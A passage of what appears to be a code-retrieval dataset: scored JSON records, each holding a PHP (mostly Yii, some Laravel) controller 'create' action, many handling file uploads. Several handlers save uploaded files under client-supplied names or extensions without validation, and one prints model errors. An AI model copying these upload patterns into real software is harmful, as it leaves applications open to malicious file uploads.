"" }, { "docid": "ac1cc8e4717a1838d8e6513039097696", "score": "0.664273", "text": "public function actionCreate() {\n $model = new Listing;\n Yii::import(\"xupload.models.XUploadForm\");\n $files = new XUploadForm;\n if (isset($_POST['Listing'])) {\n $userId = Yii::app()->user->id;\n $model->attributes = $_POST['Listing'];\n if (Yii::app()->user->hasState('commodityTestReport')) {\n $commodityTestReport = Yii::app()->user->getState('commodityTestReport');\n\n Yii::app()->user->setState('commodityTestReport', null);\n }\n \n\n if ($model->save()) {\n\t\t\t\t$temp = array();\n\t if (isset($commodityTestReport)) {\n\t if (!empty($commodityTestReport)) {\n\t\n\t $temp = array();\n\t\t\t\t\t\t$i = 0;\n\t foreach ($commodityTestReport as $value) {\n\t $temp[$i]['fn'] = isset($value['filename']) ? $value['filename'] : null;\n\t $temp[$i]['on'] = isset($value['name']) ? $value['name'] : null;\n\t\t\t\t\t\t\t$i++;\n\t }\n\t\t\t\t\t\t//echo \"<pre>\"; print_r($temp);\n\t\t\t\t\t\t//echo \"</pre>\";\n\t\t\t\t\t\t//exit();\n\t foreach ($temp as $value) {\n\t $file_table = new Files();\n\t $file_table->list_id = $model->id;\n\t $file_table->file_name = $value['fn'];\n\t $file_table->actual_name = $value['on'];\n\t $file_table->save();\n\t }\n\t }\n\t }\n $this->redirect(array('view', 'id' => $model->id));\n }\n }\n\n $this->render('create', array(\n 'model' => $model,\n 'file_model' => $files\n ));\n }", "title": "" }, { "docid": "3c61e1e70ca3ea0ed25dc1a387f777be", "score": "0.66230685", "text": "public function create()\n {\n return view('files.create');\n }", "title": "" }, { "docid": "3c61e1e70ca3ea0ed25dc1a387f777be", "score": "0.66230685", "text": "public function create()\n {\n return view('files.create');\n }", "title": "" }, { "docid": "1ddde5677202dab68c9c89286dea6057", "score": "0.6619891", "text": "public function create()\n\t{\n\t\treturn View::make('files.create');\n\t}", "title": "" }, { "docid": "26a110979f42488236d7f1a6297a1c50", "score": "0.66069657", "text": "public function actionCreate()\n {\n $modelName = $this->getModel();\n\t\t$model = new $modelName;\n\t\t$model->dt_create = date('c');\n\t\t$model->dt_update = date('c');\n\t\t$model->id_user_create = 1;\n\t\t$model->id_user_update = 1;\n\t\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n\t\t\t \n\t\t\t\t\treturn $this->redirect(['index']);\n\t\t\t\n } else {\n \n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "6e437270544aeaae328aaf0a28323b1e", "score": "0.6598734", "text": "public function actionCreate()\n {\n $model = new News();\n $model->d_update = date('Y-m-d');\n\n /*if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }*/\n \n if ($model->load(Yii::$app->request->post())) {\n $model->picture = UploadedFile::getInstance($model, 'picture');\n $model->attach = UploadedFile::getInstance($model, 'attach');\n \n if ($model->validate()) {\n if ($model->picture) {\n $filePath = 'uploads/newspic/' . 'pic_news' . '.' . $model->picture->extension;\n $thumbnailImagePath = 'uploads/newspic/' . 'pictmp_' . date('YmdHis') . '.' . $model->picture->extension;\n if ($model->picture->saveAs($filePath)) {\n $tmpPath = Image::getImagine()->open($filePath)->thumbnail(new Box(600, 600))->save($thumbnailImagePath, ['quality' => 50]);\n unlink($filePath);\n $model->picture = $thumbnailImagePath;\n }\n\n }\n if ($model->attach) {\n $filePath = 'uploads/attach/' . 'attach_' .date('YmdHis') . '.' . $model->attach->extension;\n \n if ($model->attach->saveAs($filePath)) {\n \n $model->attach = $filePath;\n }\n\n }\n \n if ($model->save(false)) {\n //return $this->redirect(['view', 'id' => $model->id]);\n return $this->redirect(['index']);\n }\n }\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "94167692fabda4ec3e3f62252587f58d", "score": "0.65944505", "text": "public function create()\n {\n return view('file.create');\n }", "title": "" }, { "docid": "94167692fabda4ec3e3f62252587f58d", "score": "0.65944505", "text": "public function create()\n {\n return view('file.create');\n }", "title": "" }, { "docid": "82d9c805d24fb52a4959707120951ba3", "score": "0.6585883", "text": "public function actionCreate()\n {\n $model = new Userinfo;\n\n // Uncomment the following line if AJAX validation is needed\n // $this->performAjaxValidation($model);\n\n if (isset($_POST['Userinfo'])) {\n $userId = Yii::app()->user->getId();\n $_POST['Userinfo']['user_id'] = $userId;\n\n\n $profilePicture = CUploadedFile::getInstance($model, 'profile_photo_name');\n $coverPicture = CUploadedFile::getInstance($model, 'cover_photo_name');\n if (!empty($profilePicture))\n $model->profile_photo_name = \"{$userId}_{$profilePicture}\";\n if (!empty($coverPicture))\n $model->cover_photo_name = \"{$userId}_{$coverPicture}\";\n if (!file_exists(Yii::app()->basePath . '/../images')) {\n mkdir(Yii::app()->basePath . '/../images');\n }\n try {\n $model->attributes = $_POST['Userinfo'];\n if ($model->save()) {\n\n //$profilePicture = str_replace('','',$model->profile_photo_name);\n\n //$coverPicture = str_replace('','',$model->cover_photo_name);\n\n if (!empty($profilePicture))\n $profilePicture->saveAs(Yii::app()->basePath . '/../images/user/profile/' . $model->profile_photo_name);\n if (!empty($coverPicture))\n $coverPicture->saveAs(Yii::app()->basePath . '/../images/user/cover/' . $model->cover_photo_name);\n\n $this->redirect(array('view', 'id' => $model->userinfo_id));\n\n }\n } catch (Exception $e) {\n throw new CHttpException(404, 'Database error ');\n }\n }\n\n $this->render('create', array(\n 'model' => $model,\n ));\n }", "title": "" }, { "docid": "30104327dc3c7c65499465843b66378a", "score": "0.6581709", "text": "public function actionCreate()\n {\n $model = new Prenda();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n $model->imageFile = UploadedFile::getInstance($model, 'imageFile');\n $model->upload();\n return $this->redirect(['view', 'idPrenda' => $model->idPrenda, 'idTalla' => $model->idTalla, 'tipoPrendaId' => $model->tipoPrendaId]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "99f844ffc23c8733bf4659523ff78515", "score": "0.6561606", "text": "public function create()\n {\n //\n return view('perfiles.create');\n }", "title": "" }, { "docid": "30dd5da6ded06b7b3c3b1f5d0a78e91d", "score": "0.6558017", "text": "public function actionCreate()\n {\n $model = new ImageForm();\n \n if (Yii::$app->request->isPost) {\n\n $model->image = UploadedFile::getInstance($model, 'image');\n\n if ($model->upload()) {\n\n return $this->goHome();\n }\n }\n\n return $this->render('create', ['model' => $model]);\n }", "title": "" }, { "docid": "db9292c5b5878eef7ca7322ea3e0dd89", "score": "0.6548434", "text": "public function actionCreate()\n {\n $model = new Member();\n\n if ($model->load(Yii::$app->request->post())) {\n\t\t\t\n $model->head = UploadedFile::getInstance($model, 'head');\n\t\t\t\n if($model->head)\n {\n \t$siteRoot = str_replace('\\\\', '/', realpath(dirname(dirname(dirname(__FILE__))) . '/')) . \"/frontend/web/upload/\";\n $imgName = mt_rand(1100,9900) .time() .'.'. $model->head->extension;\n $model->head->saveAs($siteRoot.$imgName);\n $model->head = $imgName;\n }\n\t\t\t$model->save();\n\t\t\t\n return $this->redirect(['index']);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "bd0cc2272a475e58f00744a94fad192d", "score": "0.6545416", "text": "public function actionCreate()\n {\n $modelClass = $this->modelClass;\n $model = new $modelClass();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n 'treeArray' => $this->getTreeArray()\n ]);\n }\n }", "title": "" }, { "docid": "30c628e5ea3d383817759c932a477d1a", "score": "0.6540776", "text": "public function actionCreate()\n {\n $model = new CfMedia();\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n $dir_subida = 'archivos_media/';\n $fichero_subido = $dir_subida . basename($_FILES['nombre_doc']['name']);\n $nombre = $_FILES['nombre_doc']['name'];\n if($this->caracteresValidos($nombre))\n {\n if (move_uploaded_file($_FILES['nombre_doc']['tmp_name'], $fichero_subido)) {\n Yii::$app->session->setFlash('success', 'El fichero fue enviado correctamente');\n\n } else {\n Yii::$app->session->setFlash('danger', 'El fichero no pudo ser enviado!');\n return $this->render('create', ['model' => $model]);\n }\n }\n return $this->redirect(['view', 'id' => $model->id]);\n }\n return $this->render('create', ['model' => $model]);\n }", "title": "" }, { "docid": "9adcaa40268b5265c485e0b08425f0f4", "score": "0.65389115", "text": "public function actionCreate()\n {\n //var_dump(Yii::$app->request->post());exit;\n $model = new TblGuestUserDoc();\n $model->scenario = 'insert';\n if(Yii::$app->request->isPost && $model->load(Yii::$app->request->post())) {\n $model->USER_ID = Yii::$app->user->identity->USER_ID;\n $model->fileinput = UploadedFile::getInstance($model, 'fileinput');\n \n if($model->validate()) { \n $file_name = md5($model->fileinput->baseName.time()) . '.' . $model->fileinput->extension;\n $model->FILE = $file_name;\n \n if($model->fileinput->saveAs('uploads/user_docs/'.$file_name)) {\n if($model->save(false)) {\n return $this->redirect(['view', 'id' => $model->ID]);\n }\n }\n }\n } else {\n // echo '<pre>';print_r($model->getErrors());exit;\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n\n\n /*if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->ID]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }*/\n }", "title": "" }, { "docid": "3c14eb6cd5da68d25d1790b8aa5c4c88", "score": "0.65369076", "text": "public function actionCreate()\n {\n $model = new Templates();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n $this->addDirectory($model->id, $model->file_name, $model->title, $model->content);\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "d7871846224b54b8214c928ab0e1d407", "score": "0.6530574", "text": "public function actionCreate()\n {\n $model = new $this->model();\n\n if ($model->load(Yii::$app->request->post())) {\n if ($model->save()) {\n Yii::$app->Language->reBuild();\n $model->saveImage('image');\n return $this->redirect([\n 'view',\n 'id' => $model->id\n ]);\n }\n }\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "b29474ab594c78280220cbdee0d4fe1f", "score": "0.6529736", "text": "public function actionCreate()\n {\n $model = new Gallery();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['update', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "d01df1174d94f7c10636fcfcdec583d3", "score": "0.64952826", "text": "public function actionCreate() {\r\n $model = new Person();\r\n\r\n if ($model->load(Yii::$app->request->post()) && $model->validate()) {\r\n $model->person_photo = $model->upload($model, 'person_photo');\r\n $model->save();\r\n //return $this->redirect(['view', 'id' => $model->id]);\r\n return $this->redirect(['person/index']);\r\n } else {\r\n return $this->render('create', [\r\n 'model' => $model,\r\n ]);\r\n }\r\n }", "title": "" }, { "docid": "78b6718f648c8931de13ee2cd8720a73", "score": "0.6479666", "text": "public function actionCreate()\n\t{\n\t\t$model=new Folder;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['Folder']))\n\t\t{\n\t\t\t$model->attributes=$_POST['Folder'];\n\t\t\tif($model->save())\n\t\t\t\t$this->redirect(array('view','id'=>$model->id));\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "title": "" }, { "docid": "01e108bc261dae1247477a9447da9e7f", "score": "0.64742726", "text": "public function actionCreate()\n {\n $model = new PlantPhoto();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'IdPlant' => $model->IdPlant, 'IdPhoto' => $model->IdPhoto]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "82d1cc04004542982a9edd0c0e7bbe44", "score": "0.64648604", "text": "public function actionCreate()\n {\n $model = new Products();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n $model->imageFiles = UploadedFile::getInstances($model, 'imageFiles');\n $model->upload($model->id);\n return $this->redirect(['index']);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "7930f055d8224a6afd94641db74d7da7", "score": "0.6459356", "text": "public function actionCreate() {\n $model = new Aluno();\n $model->user_id = Yii::$app->user->id;\n $model->tipo = Aluno::TIPO_ESCOLA;\n\n if ($model->load(Yii::$app->request->post())) {\n\n $model->image = UploadedFile::getInstance($model, 'image');\n\n if ($model->upload()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "67394444c54cdf0ef4db5d15ec6f0cb9", "score": "0.6454781", "text": "public function create()\n {\n $item = new $this->model;\n $data = [\n 'item' => $item,\n 'has_files' => $this->has_files,\n ];\n\n $this->beforeCreateAndEdit();\n $this->beforeCreate();\n\n $data = array_merge($data, $this->data);\n\n if (view()->exists($this->views_dir . '.create')) {\n return view($this->views_dir . '.create', $data);\n } else {\n return view('crud::create', $data);\n }\n }", "title": "" }, { "docid": "07da4a0dac115885455aa77111f262a2", "score": "0.64519924", "text": "public function actionCreate()\n {\n $model = new MonitoringMedia();\n\n if ($model->load(Yii::$app->request->post())) {\n\n $imageName = substr(md5(microtime() . rand(0, 9999)), 0, 20);\n $model->file = UploadedFile::getInstance($model, 'file');\n if ($model->file->extension != null) {\n $model->file->saveAs('images/media/' . $imageName . '.' . $model->file->extension);\n // Сохранение в БД URLа аватарки\n $model->avatar = 'images/media/' . $imageName . '.' . $model->file->extension;\n }\n\n $model->created=time();\n $model->id_user=Yii::$app->user->id;\n\n if ($model->save()) return $this->redirect(['view', 'id' => $model->id]);\n else return $this->render('create', [\n 'model' => $model,\n ]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "adf8e902fc33751d7f1d88798acaaf8d", "score": "0.64514303", "text": "public function actionCreate()\n {\n $model = new Event();\n if ($model->load(Yii::$app->request->post()) && $model->validate()) {\n $model->saveFiles();\n if($model->save()){\n // Redirect to the list page\n $this->redirect(['/event/index']);\n return;\n }\n }\n\n return $this->render('create', ['model' => $model]);\n }", "title": "" }, { "docid": "c6afeab5161eb5aea63432ad2e88c435", "score": "0.64507455", "text": "public function actionCreate()\n {\n $model = new Categories();\n\n if ($this->request->isPost) {\n if ($model->load($this->request->post()) && $model->save()) {\n $model->image = UploadedFile::getInstance($model, 'image');\n\n if ($model->image) {\n $model->upload();\n }\n \n return $this->redirect(['view', 'id' => $model->id]);\n }\n } else {\n $model->loadDefaultValues();\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "84baa6a2e0305138f65302883f2bb28a", "score": "0.64298517", "text": "public function actionCreate()\n\t{\n\t\t$model = new Zip();\n\t\t\n\t\tif($model->load(Yii::$app->request->post()) && $model->save()) {\n\t\t\treturn $this->redirect(['index']);\n\t\t}\n\t\t\n\t\treturn $this->render('_form', [\n\t\t\t'model' => $model,\n\t\t]);\n\t}", "title": "" }, { "docid": "eb9f42ada4388a65add57aa413d0f712", "score": "0.64238447", "text": "public function actionCreate()\n {\n $model = new Simulator();\n\n if (Yii::$app->request->isPost) {\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n\n $model->uploadFile = UploadedFile::getInstance($model, 'uploadFile');\n\n // Check whether the user did upload a file and validate to be sure it is an image\n if ($model->uploadFile && $model->validate()) {\n $model->uploadImage();\n }\n\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "cf16b3263e311d34add8b05be470abb0", "score": "0.64228874", "text": "public function create()\n {\n \treturn view('model.create');\n }", "title": "" }, { "docid": "8f48a27b4486df06e9b6a4b399430340", "score": "0.641442", "text": "public function actionCreate()\n {\n $model = new Record();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "08cc61ff57961bf3ac8f45209915f267", "score": "0.63891995", "text": "public function actionCreate()\n\t{\n\t\t$model=new Travailinterne;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['Travailinterne']))\n\t\t{\n\t\t\t$model->attributes=$_POST['Travailinterne'];\n\t\t\t$uploadedFile=CUploadedFile::getInstance($model,'docsource');\n\t\t\tif(!is_null($uploadedFile)){\n \t$fileName = uniqid().\".\".$uploadedFile->getExtensionName(); // random number + file name\n\t\t\t\t$model->docsource = $fileName;\t\t\t\t\n\t\t\t}\n\t\t\tif($model->save())\n\t\t\t{\n\t\t\t\tif($uploadedFile!=null){\n\n\t\t\t\t\t$uploadedFile->saveAs(Yii::app()->basePath.'/../docs/'.$fileName); // image will uplode to rootDirectory/banner/\n\t\t\t\t}\n\t\t\t\t$this->redirect(array('view','id'=>$model->id));\n\n\t\t\t}\n\n\t\t}\n\n\t\t$this->render('create',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "title": "" }, { "docid": "391a4e62137fd411fff57c63d73fff6c", "score": "0.6384378", "text": "public function actionCreate()\n {\n $model = new Profile();\n\n if ($model->load(Yii::$app->request->post())) {\n $model->status = 1;\n $model->photo = UploadedFile::getInstance($model, 'photo');\n if($model->photo){\n $path = Yii::getAlias('@backend') . '/web/uploads/profile/';\n $name = rand(1000,9999) . time();\n $model->photo->saveAs($path . $name . '.' . $model->photo->extension);\n $model->photo = $name . '.' . $model->photo->extension;\n\n } \n $model->save();\n Yii::$app->session->setFlash('message', 'simpan berhasil berhasil katakan berhasil.');\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "cfb2bff2252e428462b6adfce5bfbeeb", "score": "0.63744223", "text": "public function actionCreate() {\n $model = new Car();\n\n if ($model->load(Yii::$app->request->post())) {\n // process uploaded image file instance\n $image = $model->uploadImage();\n\n if($model->save()){\n // upload only if valid uploaded file instance found\n if ($image !== false) {\n $path = $model->getImageFile();\n $image->saveAs($path);\n }\n Yii::$app->getSession ()->setFlash ('success', 'El automóvil se ha creado exitosamente');\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->redirect(['index']);\n }\n\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "b82664ba1548a06689336f7d3fdbbbd7", "score": "0.6364737", "text": "public function create()\n {\n return view('importFileFolder/importFileNew');\n }", "title": "" }, { "docid": "40faf1289cb76cde901abef24f4dde97", "score": "0.63598484", "text": "public function actionCreate() {\n $model = new User;\n\n // Uncomment the following line if AJAX validation is needed\n // $this->performAjaxValidation($model);\n\n if (isset($_POST['User'])) {\n $rnd = rand(0, 9999); // generate random number between 0-9999\n $model->attributes = $_POST['User'];\n\n $uploadedFile = CUploadedFile::getInstance($model, 'foto');\n $fileName = \"{$rnd}-{$uploadedFile}\"; // random number + file name\n $model->foto = $fileName;\n $model->password = MD5($model->password);\n if ($model->save()) {\n if(!empty($uploadedFile))\n $uploadedFile->saveAs(Yii::app()->basePath . '/../images/test/' . $fileName);\n $this->redirect(array('site/Login'));\n //$this->redirect(array('view', 'username' => $model->username));\n }\n }\n\n $this->render('create', array(\n 'model' => $model,\n ));\n }", "title": "" }, { "docid": "d5dc46ab70078d6c4fe2576d681023e1", "score": "0.63594365", "text": "public function actionCreate() {\n $model = new Cau();\n\n if ($model->load(Yii::$app->request->post())) {\n //get the instance of the upload file\n $fileName = $model->id_cau . '-' . date('Y-m-d-his', time());\n $file = UploadedFile::getInstance($model, 'file');\n\n if (is_dir('uploads/cau-hoso/') && isset($file->extension)) {\n $file->saveAs('uploads/cau-hoso/' . $fileName . '.' . $file->extension);\n //save the path in the db column\n $model->file = $fileName . '.' . $file->extension;\n }\n\n $model->nguoitao = Yii::$app->user->identity->username;\n $model->ngaytao = date('Y-m-d H:i:s', time());\n $model->nguoisua = Yii::$app->user->identity->username;\n $model->ngaysua = date('Y-m-d H:i:s', time());\n $model->save();\n return $this->redirect(['view', 'id' => $model->id_cau]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "c3a0125138c121b68d56af1af4539323", "score": "0.63505703", "text": "public function actionCreate()\n {\n $model = new Activity();\n\n if ($model->load(Yii::$app->request->post())){ \n\t\t\tif($model->save()) {\n\t\t\t\tYii::$app->getSession()->setFlash('success', 'New data have saved.');\n\t\t\t}\n\t\t\telse{\n\t\t\t\tYii::$app->getSession()->setFlash('error', 'New data is not saved.');\n\t\t\t}\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "f459ad2ff718c08a3ef9d701937b094e", "score": "0.6346948", "text": "public function actionCreate()\n {\n if ($this->checkAdminSession()) {\n $rootPath = \"apk/\";\n $model = new Apkversion();\n if ($model->load(Yii::$app->request->post())) {\n $url = UploadedFile::getInstance($model, 'url');\n $ext = $url->getExtension();\n $randName = \"hb\" . $model->cat_default_id . CommonFun::getCurrentDateForFile() . \".\" . $ext;\n $url->saveAs($rootPath . $randName);\n $model->url = $rootPath . $randName;\n $model->createtime = CommonFun::getCurrentDateTime();\n if ($model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }\n }", "title": "" }, { "docid": "006798f7fe301107374bab4cc99f0140", "score": "0.6346413", "text": "public function actionCreate()\n \n {\n \n $model= $this->finder->create();\n \n if(isset($model->User_id)){\n return $this->redirect(['view','User_id' => $model->User_id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n // $model = new User1();\n\n // if ($this->request->isPost) {\n // if ($model->load($this->request->post()) && $model->save()) {\n // return $this->redirect(['view', 'User_id' => $model->User_id]);\n // }\n // } else {\n // $model->loadDefaultValues();\n // }\n\n \n }", "title": "" }, { "docid": "f302ef5a98a15420f20a08b2447f4c97", "score": "0.6343928", "text": "public function actionCreate()\n {\n $model = new UserModel();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "466eae69df2d3294f52968d2cc7a14e7", "score": "0.6343219", "text": "public function create()\n {\n //\n return view('uploads.create');\n }", "title": "" }, { "docid": "04523501d1588ec46e5f93a3d1d95c8a", "score": "0.6340293", "text": "public function actionCreate()\n {\n $model = new TallerImp();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "ac275a3bb6b5940a12b70f46f894c413", "score": "0.63310826", "text": "public function create()\n {\n $files = File::all();\n $informationCategories = InformationCategory::all();\n\n return view('admin.information.create', compact('files', 'informationCategories'));\n }", "title": "" }, { "docid": "a7af57a5b37a26c17596f8c4ff7c666a", "score": "0.63292474", "text": "public function actionCreate()\n {\n $model = new Objects();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "7d140770ceb6e03d2c4015003ccdd4b9", "score": "0.63241255", "text": "public function create()\n\n {\n\n return view('main.vendor.file.create');\n\n }", "title": "" }, { "docid": "9f480fd56cfaae67baa7d1855baba0fe", "score": "0.63147545", "text": "public function create()\n {\n $parent_categories = Category::where('parent', 'yes')->get();\n $child_categories = Category::where('parent', 'no')->get();\n $provinces = Province::all();\n\n $route = route('file.store');\n $method = \"POST\";\n return view('add_edit_files', compact('parent_categories', 'child_categories', 'route', 'method', 'provinces'));\n }", "title": "" }, { "docid": "3a4d9e70682074fe2b03f1b9019e9c45", "score": "0.6308145", "text": "public function actionCreate()\n {\n $model = new Categories();\n $uploadModel = new UploadForm();\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n\n $uploadModel->imageFiles = UploadedFile::getInstances($uploadModel, 'imageFiles');\n $uploadModel->upload($this->getCategoryPath($model->id_categories), $model, $this->property);\n\n return $this->redirect(['view', 'id' => $model->id_categories]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n 'uploadModel' => $uploadModel\n ]);\n }\n }", "title": "" }, { "docid": "3096c08cd685ffef79f62113802bcce2", "score": "0.6308064", "text": "public function actionCreate()\n {\n $model = new EmployeeManagement();\n\n if ($model->load(Yii::$app->request->post())) {\n $model->ProfileImage_file=UploadedFile::getInstance($model, 'ProfileImage_file');\n //path\n $model->ProfileImage='uploads/'.$model->FirstName.'_'.$model->MobileNo.'.'.$model->ProfileImage_file->extension;\n if($model->save()){\n $model->ProfileImage_file->saveAs('../web/'.$model->ProfileImage);\n return $this->redirect(['update', 'id' => $model->id]);\n }\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "2529437fe8fa1eccff99dba7157f60a0", "score": "0.63005924", "text": "public function create()\n {\n return view('fileupload.create');\n }", "title": "" }, { "docid": "42afdd959da191a5c75325aaf34bbf41", "score": "0.62979686", "text": "public function actionCreate() {\n\t\t//print_r($_FILES);\n\t\t$model = $m1 = new Movies();\n\n\t\tif ($model->load(Yii::$app->request->post())) {\n\t\t\t$m1->filename = UploadedFile::getInstance($model, 'filename');\n\t\t\t$m1->poster = UploadedFile::getInstance($model, 'poster');\n\n\t\t\tif ($m1->filename) {\n\t\t\t\t$m1->filename->saveAs('uploads/'.$m1->filename->baseName.'.'.$m1->filename->extension);\n\t\t\t\t$model->filename = $m1->filename->baseName.'.'.$m1->filename->extension;\n\n\t\t\t}\n\n\t\t\tif ($m1->poster) {\n\n\t\t\t\t$m1->poster->saveAs('uploads/'.$m1->poster->baseName.'.'.$m1->poster->extension);\n\t\t\t\t$model->poster = $m1->poster->baseName.'.'.$m1->poster->extension;\n\n\t\t\t}\n\t\t\t$model->status = 1;\n\t\t\t//print_r($model);\n\t\t\t$model->save();\n\n\t\t\treturn $this->redirect(['view', 'id' => $model->id]);\n\t\t}\n\n\t\treturn $this->render('create', [\n\t\t\t\t'model' => $model,\n\t\t\t]);\n\t}", "title": "" }, { "docid": "834de337f6015c8ccd1b1daba935be30", "score": "0.6285229", "text": "public function create()\n {\n return view('upload.create');\n }", "title": "" }, { "docid": "c5879fb567148e702a8650d86ec27fc3", "score": "0.6284192", "text": "public function actionCreate()\n {\n $model = new EfProject();\n\n if ($model->load(Yii::$app->request->post()) && $this->setCreateParams($model) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->PROJECT_ID]);\n } else {\n $documentUploadForm = new DocumentUploadForm();\n \t$imageUploadForm = new ImageUploadForm();\n\n return $this->render('create', [\n 'model' => $model,\n 'mode' => 'create',\n 'documentUploadForm' => $documentUploadForm,\n 'imageUploadForm' => $imageUploadForm,\n ]);\n }\n }", "title": "" }, { "docid": "80e88c3cd87f9e74abf7b800d180c5d7", "score": "0.6279633", "text": "public function create()\n\t{\n\t\treturn view('admin.usersprofile.create');\n\t}", "title": "" }, { "docid": "6a52c31f5b6d0ae1ccd1052e0d886b06", "score": "0.62750477", "text": "public function actionCreate()\n {\n $model = new ArticleBrowseModel();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "title": "" }, { "docid": "f9fb7a76b6fbcab03412c826378e5fa3", "score": "0.62725365", "text": "public function actionCreate()\n {\n $model = new Songs();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "title": "" }, { "docid": "f6ad8b32a6004e255d96b3f0b3b75847", "score": "0.6263164", "text": "public function actionCreate()\n {\n\t\t\n\t\t$this->layout = 'main-admin';\n $model = new Brand();\n \n if ($model->load(Yii::$app->request->post())) {\n\t\t\t \n\t\t\t\t\t$imageFile = UploadedFile::getInstance($model, 'thumbnail');\n\t\t\t \n\t\t\t\tif(isset($imageFile) ) \n\t\t\t\t{ \n\t\t\t\t$fileName =rand(1000,99999999).'.'. $imageFile->extension; \n\t\t\t\t\n\t\t\t\t//$filePath = $directory . $fileName; $model->thumbnail = $fileName; \n\t\t\t\t }\n\t\t\t$model->status='0';\n\t\t\t$model->thumbnail=$fileName;\n\t\t\t$model->created_at=date('Y-m-d h:i:sa');\n\t\t\t\n\t\t\t\n\t\t\t if($model->save())\n\t\t\t {\n\t\t\t\t \n\t\t\t\t $directory = Yii::$app->util->getBrandDirectory($model->id);\n\t\t\t\t\tif (!is_dir($directory))\n\t\t\t\t{ \n\t\t\t\t FileHelper::createDirectory($directory);\n\t\t\t\t} \n\t\t\t\tif(isset($imageFile) ) \n\t\t\t\t{ \n\t\t\t\t// $fileName =$model->title . '-'. rand().'.'. $imageFile->extension; \n\t\t\t\t\n\t\t\t\t$filePath = $directory . $fileName; $model->thumbnail = $fileName; \n\t\t\t\t }\n\t\t\t\t \n\t\t\t $imageFile->saveAs($filePath); \\Yii::$app->session->setFlash('success', Yii::t('app',\"Your Item created successfully!\"));\n\t\t\t\t\n return $this->redirect(['view', 'id' => $model->id]);\n\t\t\t }\n\t\t\t else{\n\t\t\t\t print_r($model->getErrors());\n\t\t\t\t 